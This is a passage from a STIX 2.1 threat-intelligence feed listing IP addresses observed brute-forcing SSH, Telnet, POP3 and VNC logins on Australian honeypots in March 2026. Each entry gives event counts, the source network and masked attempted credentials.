      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): h**p@bardengineering.com, n******y@bardengineering.com. Passwords observed (masked): B*****************6, b******************@.",
      "id": "indicator--1907b54a-70a3-4f91-8471-68288d449ee9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): h**p@bardengineering.com. Passwords observed (masked): b******************@.",
      "id": "indicator--38f9448d-e4dd-4414-8932-16f406be7ca6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): a***e@bardengineering.com, p******s@bardengineering.com. Passwords observed (masked): B******************@, b******************5.",
      "id": "indicator--2deabd51-017b-4b14-a420-0b09377b7033",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): c*****t@bardengineering.com. Passwords observed (masked): B*****************4.",
      "id": "indicator--778c1dbe-9862-47ce-9fbb-47168062e589",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): s*****t@bardengineering.com. Passwords observed (masked): B*****************@.",
      "id": "indicator--bac3c099-97fd-4102-8a28-175db0d24a7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): c********s@bardengineering.com. Passwords observed (masked): B******************@.",
      "id": "indicator--5776cd10-9292-4afb-b2fc-50a1c57ec0f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): j*b@bardengineering.com. Passwords observed (masked): b*************g.",
      "id": "indicator--09069a83-a5a1-4298-a037-d71e70e3040a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): a***n@bardengineering.com. Passwords observed (masked): B******************4.",
      "id": "indicator--be731cd2-8959-40d7-bdac-e64cc60fe8d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): s******y@bardengineering.com. Passwords observed (masked): b*************g.",
      "id": "indicator--5ca2d48a-e71d-44b4-96d8-49fa2b9cf2bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): p******s@bardengineering.com. Passwords observed (masked): b*************g, b******************4.",
      "id": "indicator--07e43948-9c6a-40c4-89e1-62ded8f64da4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): a***e@bardengineering.com. Passwords observed (masked): b*****************6.",
      "id": "indicator--3cd85d4f-a77d-423d-b68e-bf74decc48cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 9416. Organisation(s): Hoshin Multimedia Center Inc..",
      "id": "indicator--b4b35f31-af0b-4fef-b01b-f8f5a251c057",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.204.75.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1999. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 398019. Organisation(s): Dynu Systems Incorporated.",
      "id": "indicator--4f880fd6-0554-4325-ba5d-b7e1c6ecbf48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '207.174.0.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******@, 1********y, 1*****v.",
      "id": "indicator--853d6a44-1df4-41f2-8ad8-4d3cd0fb3131",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '207.180.229.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): p******s@bardengineering.com. Passwords observed (masked): B*****************3.",
      "id": "indicator--d4b38906-209f-4aa0-847d-026874e71a6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 110. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): c*o@bardengineering.com, p********r@bardengineering.com. Passwords observed (masked): B*****************6, b*****************3.",
      "id": "indicator--3ebfd125-89c5-4f5d-a292-46fca58be8fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 15169. Organisation(s): Google LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A******4, B********3, D******6.",
      "id": "indicator--7e1c16a4-0e8a-4544-9a55-97f87349600c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '35.210.61.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******@, 1********y, 1*****v.",
      "id": "indicator--c26ef894-92d6-41f4-8d3d-94a2a31be851",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.101.114.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******@, 1********y, 1*****v.",
      "id": "indicator--9663e1ab-e58d-4203-9659-0c469cbc62fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.210.179.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): w*******r@bardengineering.com. Passwords observed (masked): B******************4.",
      "id": "indicator--2f6fb3ee-c392-445c-8ee5-91e86f4968e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): **@bardengineering.com. Passwords observed (masked): b*****************3.",
      "id": "indicator--75ce270d-0dff-4e3e-b70b-d3e495fae397",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): s***s@bardengineering.com. Passwords observed (masked): b*****************5.",
      "id": "indicator--068baec4-d4d2-48aa-90a1-f55bb6addc2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:15:13.000Z",
      "valid_until": "2026-04-04T10:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--31b6df71-e5ab-4e8d-9e09-30307b1afc53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.199.107.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--382c2306-17d7-4700-9adb-74587654fb6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.72.242.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd..",
      "id": "indicator--7768961c-d6f5-41db-88b2-0e89863cc28d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '111.59.16.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, r**t.",
      "id": "indicator--17e62cd2-8171-4d7b-ad1b-fd5156564598",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.141.249.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--a9fc4555-e6f7-4372-b9c4-8521662562c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.133.214.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 194. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******., 2******2, B********3.",
      "id": "indicator--473c18dd-0be5-4a61-96e4-d86aea62b7f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '132.145.125.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): A*******1.",
      "id": "indicator--1f7d154c-3d0a-4f87-80e9-46cddf1c0cba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.129.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 35100. Organisation(s): Patrik Lagerman. Usernames observed (masked): r**t, 3**********4, r****r. Passwords observed (masked): 3***********4, 3**********4, 1******@, A*******0, B********3.",
      "id": "indicator--85f42d31-85e1-451c-8eea-a46673b7a457",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.25.158.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): s******g@bardengineering.com. Passwords observed (masked): b*****************@.",
      "id": "indicator--c7dc194d-4d81-4b4a-8fc5-5f0e7d637da2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): e****s@bardengineering.com. Passwords observed (masked): b*****************4.",
      "id": "indicator--f4b3405c-0cf6-4a9c-a39c-c76d3b951530",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): w*******r@bardengineering.com. Passwords observed (masked): b*****************6.",
      "id": "indicator--d24a63b6-73da-4f69-9d11-c57ec1a14d92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): s*****t@bardengineering.com. Passwords observed (masked): B*****************5.",
      "id": "indicator--2464be56-c37e-4d1c-8a8b-df626eb9a6e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
